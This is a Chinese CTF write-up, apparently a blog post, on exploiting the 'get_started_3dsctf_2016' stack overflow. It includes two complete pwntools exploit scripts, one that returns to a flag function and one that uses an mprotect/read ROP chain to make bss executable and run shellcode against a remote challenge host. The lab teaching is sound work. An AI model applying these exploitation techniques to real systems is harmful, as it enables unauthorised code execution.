首先,这题有两种方法
事前准备
![](https://i-blog.csdnimg.cn/blog_migrate/f194face5c3af1ffd9d7d36ea3f89c39.png)
开了nx 32bit
看看ida
![](https://i-blog.csdnimg.cn/blog_migrate/5957f5cd83f84df07abbc721cae6b372.png)
漏洞及其利用思路
主函数就两句话,canary没开
第二句很明显的栈溢出,第一句话翻译出来莫名其妙的
![](https://i-blog.csdnimg.cn/blog_migrate/7cd4240c81b94d980edd7eba1561a7ee.png)
所以问题在于,溢出的返回地址应该是哪一个,但是这道题虽然func里面很多函数,并没有我们能直接用的system,更没有/bin/sh,由此有两种方法(鄙人第二种是在第一种遇到一点问题后上网翻的wp,学习了第二种方法)第一种只能得到flag,私以为这一点也不pwn(毕竟没有权限)
方法一
在ida中 shift+f12会有一堆东西,人眼不大可能找得到啥
![](https://i-blog.csdnimg.cn/blog_migrate/389fc6828d4e33ea10adcefb530ecb97.png)
查查flag相关的(和大多数软件差不多,查找都是ctrl f)
发现是有东西的,点进去后对齐进行ctrl x 交叉引用
![](https://i-blog.csdnimg.cn/blog_migrate/5d0a8e00a3f7f4f36e43619f4098df6a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/f44c012448b81a1d6885504b81affa3b.png)
点一下就能跳转到调用它的函数,按一下f5伪c
![](https://i-blog.csdnimg.cn/blog_migrate/0665061ed859d09c5fd9c4bb52792969.png)
随便看看就知道这个函数是拿flag的,但是有两个条件,参数有要求
但这实际上这不是这个题有意思的地方,关键在于我们模仿的这个函数的堆栈调用,需要一个返回地址,正常的地址是随便填填的。这个必须得用exit的地址,如果这个方法不是正常退出,就无法得到flag(最初我遇到的问题就是这个)
(个人理解是程序异常退出时还没来得及发送)
payload:(比较简单我就不注释了)
from pwn import*p=remote('node4.buuoj.cn',28980)add=0x080489A0a1=0x308CD64Fret=0x0804e6a0a2=0x195719D1payload='a'*56+p32(add).decode('unicode_escape')+p32(ret).decode('unicode_escape')+p32(a1).decode('unicode_escape')+p32(a2).decode('unicode_escape')p.sendline(payload)p.interactive()
getshell
![](https://i-blog.csdnimg.cn/blog_migrate/1afebe2cab79993eca103995a5294d9c.png)
方法二
我先介绍一下mprotect这个函数
int mprotect(void *addr, size_t len, int prot)
三个参数分别是修改的起始地址,长度,修改为的权限,要注意,这个题是开启了nx保护的,简单讲一下nx保护就是:文件段可写的地方不可执行。而有了这个函数我们bypass这个保护执行shellcode
所以我们需要找到该写在哪,
同样是ida ctrl s 查看文件段(段的详情还请自行了解)
段简要来说就是存放代码或者数据的空间,通常植入shellcode的地方是bss段
这里也能很明显的看出bss段因为开了nx保护没有x(可执行)权限
![](https://i-blog.csdnimg.cn/blog_migrate/4c7f0f8a09d954233c90aaf8876bd65a.png)
很明显应该是图中所指地址0x080EBF80
但是这个函数的使用有个原则,所修改的区域只能是完整的内存页(4KB/页)
所以直接从bss开始意味着并不是从完整位置开始的,权限设置失败
应改为从0x080EB000开始(000-FFF=4096即4KB)
size和权限好说,一个4096(0x1000)一个7(rwx对应的数字,这个用过chmod的应该知道)
植入就需要调用函数这里我们使用read
但是肯定不可能ret 到read,在汇编中,函数调用完后会让参数pop恢复堆栈,这些恢复都是及其自动安排好了的,但是我们是手动控制函数调用,不会有自动pop这样的好事,所以为了继续控制程序,我们要在文件里面找一个pop三连+ret的
$ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop
![](https://i-blog.csdnimg.cn/blog_migrate/7750c821220cbabf07f7f9325696dcce.png)
随便找一个三个pop带一个空ret的就行,eg:
![](https://i-blog.csdnimg.cn/blog_migrate/b0589325ed7f9ed5c03b16a5365a8029.png)
在参数弹出之后,第一个函数的payload就完毕了,pppr1就是我们的三pret地址
payload=b'a'*56+p32(addmp)+p32(pppr1)+p32(buf)+p32(size)+p32(mod)
然后调用read,read完毕后也要使用pop弹出三个参数,在写入后因为还要执行shellcode
payload+=p32(read)+p32(pppr2)payload+=p32(0)+p32(buf)+p32(size)
最后接上shellcode的地址,即可getshell
完整payload:
from pwn import *
elf = ELF('./get_started_3dsctf_2016') #相当于小ida,可以帮你查一些函数地址
#用法,addname=elf.symbols['funcname']
r=elf.process()
r=remote('node4.buuoj.cn', 28980)
addmp=elf.symbols['mprotect']
read=elf.symbols['read']
pppr1=0x0806fc08
pppr2=0x080483b8
pppr3=0x08063adb
pppr4=0x804951D #这四个都可以,因为在你劫持之后寄存器基本上就不会被用到
'''
这四个都可以,因为在你劫持之后寄存器基本上就不会被用到
所以随便pop的是那个寄存器偶读不重要,ropgadget随便找一个三连+ret的用就成
'''
size=0x1000
buf=0x080eb000
mod=0x7
payload=b'a'*56+p32(addmp)+p32(pppr3)+p32(buf)+p32(size)+p32(mod)
'''
第一个部分就是对mprotect函数的使用,mprotect的调用有三个参数
int mprotect(void *addr, size_t len, int prot);
地址,长度,修改为的权限rwx就是7
pop完后再接ret就可以再接一个read,来执行shellcode
'''
payload+=p32(read)+p32(pppr2)#因为还要执行shellcode所以read的ret也要让3参数最终弹出
payload+=p32(0)+p32(buf)+p32(size)
payload+=p32(buf) #最后返回到buf位置执行shellcode
r.sendline(payload) #发送第一段,因为最终触发read,最后发送shellcode
payload1=asm(shellcraft.sh(),arch='i386',os='linux')
r.sendline(payload1)
r.interactive()
另:在最后那个返回位置即“payload+=p32(buf)”这句话,如果把buf改成mprotect的地址(或者基本上是任意的合法地址),也能getshell,原因没想明白(gdb调了一下发现大概是因为shell的地址最后就在buf后输入完了就会执行,和exp里的返回地址就没啥关系,但是具体为什么是这个布置,就不得而知了)
这里的payload也可以在read之后直接ret bufadd,因为最后执行的shell在另外的段上,不会受到shellcode的干扰
但这个最后带pop所引发的这个玄学问题,emmmmmmmmm
getshell
![](https://i-blog.csdnimg.cn/blog_migrate/8a03106c74a41b9822cb602b982f59a3.png)